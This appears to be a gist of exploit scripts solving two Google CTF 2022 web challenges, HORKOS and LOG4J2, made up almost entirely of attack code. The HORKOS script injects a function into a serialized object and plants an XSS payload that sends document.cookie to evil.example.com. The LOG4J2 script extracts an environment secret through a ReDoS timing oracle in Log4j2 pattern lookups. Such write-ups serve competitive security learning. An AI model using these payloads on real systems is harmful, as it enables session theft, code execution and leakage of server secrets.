https://ctftime.org/event/1641
- web / HORKOS
- web / LOG4J2
https://ctftime.org/event/1641
/* | |
Google Capture The Flag 2022 | |
web / HORKOS | |
10 solves, 363 pts | |
*/ | |
// RCE with a thenable object -> XSS | |
const XSS = | |
'<img src=0 onerror="location = `https://evil.example.com/${document.cookie}`">'; | |
const evil = [ | |
{ | |
key: "cart", | |
type: "pickledShoppingCart", | |
value: [ | |
{ | |
key: "items", | |
type: "pickledObject", | |
value: [ | |
{ | |
key: [XSS], | |
type: "pickledItem", | |
value: [ | |
{ | |
key: "price", | |
type: "Number", | |
value: 0, | |
}, | |
{ | |
key: "quantity", | |
type: "String", | |
value: "0", | |
}, | |
], | |
}, | |
], | |
}, | |
{ | |
key: "address", | |
type: "pickledAddress", | |
value: [ | |
{ | |
key: "street", | |
type: "String", | |
value: "", | |
}, | |
{ | |
key: "number", | |
type: "Number", | |
value: 0, | |
}, | |
{ | |
key: "zip", | |
type: "Number", | |
value: 0, | |
}, | |
], | |
}, | |
{ | |
key: "shoppingCartId", | |
type: "Number", | |
value: 0, | |
}, | |
], | |
}, | |
{ | |
key: "driver", | |
type: "pickledDriver", | |
value: [ | |
{ | |
key: "username", | |
type: "String", | |
value: "onagbike", | |
}, | |
{ | |
key: "orders", | |
type: "pickledArray", | |
value: [], | |
}, | |
], | |
}, | |
{ | |
key: "orderId", | |
type: "Number", | |
value: 0, | |
}, | |
]; | |
const cart = [ | |
{ | |
key: "0", | |
type: "pickledShoppingCart", | |
value: [ | |
{ | |
key: "items", | |
type: "pickledObject", | |
value: [], | |
}, | |
{ | |
key: "address", | |
type: "pickledAddress", | |
value: [ | |
{ key: "street", type: "String", value: "" }, | |
{ key: "number", type: "Number", value: 0 }, | |
{ key: "zip", type: "Number", value: 0 }, | |
], | |
}, | |
{ | |
key: "shoppingCartId", | |
type: "pickledObject", | |
value: [ | |
{ | |
key: "then", | |
type: "Function", | |
value: `orders.push(${JSON.stringify(evil)}); arguments[0]()`, | |
}, | |
], | |
}, | |
], | |
}, | |
]; | |
window.checkout = () => { | |
document.getElementById("cart").value = JSON.stringify(cart); | |
document.getElementById("myform").submit(); | |
}; |
# Google Capture The Flag 2022 | |
# web / LOG4J2 | |
# 43 solves, 218 pts | |
# ReDoS makes a time-based oracle to judge a prefix. | |
import httpx | |
import string | |
# BASE_URL = "http://localhost:3000" | |
BASE_URL = "https://log4j2-web.2022.ctfcompetition.com" | |
CHARS = string.ascii_letters + string.digits + "_-" | |
TEMPLATE = '%replace{${env:FLAG}}{^{{PREFIX}}|^.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.............................................................................................................................................................................................................................................................................................................................................................................................................................@}{hit}' | |
prefix = "CTF." | |
while True: | |
ng = 0 | |
ok = len(CHARS) + 1 | |
while ok - ng > 1: | |
mid = (ok + ng) // 2 | |
print(CHARS[0:mid]) | |
payload = TEMPLATE.replace("{{PREFIX}}", prefix + f"[${CHARS[0:mid]}]") | |
try: | |
httpx.post( | |
BASE_URL, | |
data={ | |
"text": payload, | |
}, | |
timeout=5 | |
) | |
ok = mid | |
except httpx.TimeoutException: | |
ng = mid | |
if ok == len(CHARS) + 1: | |
prefix = prefix.replace(".", "{") + "}" | |
break | |
prefix += CHARS[ok - 1] | |
print(prefix) | |
print("flag: " + prefix) # => flag: CTF{and-you-thought-it-was-over-didnt-you} |